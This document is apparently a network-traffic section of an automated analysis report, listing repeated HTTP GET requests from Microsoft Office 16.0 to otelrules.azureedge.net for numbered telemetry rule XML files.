Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
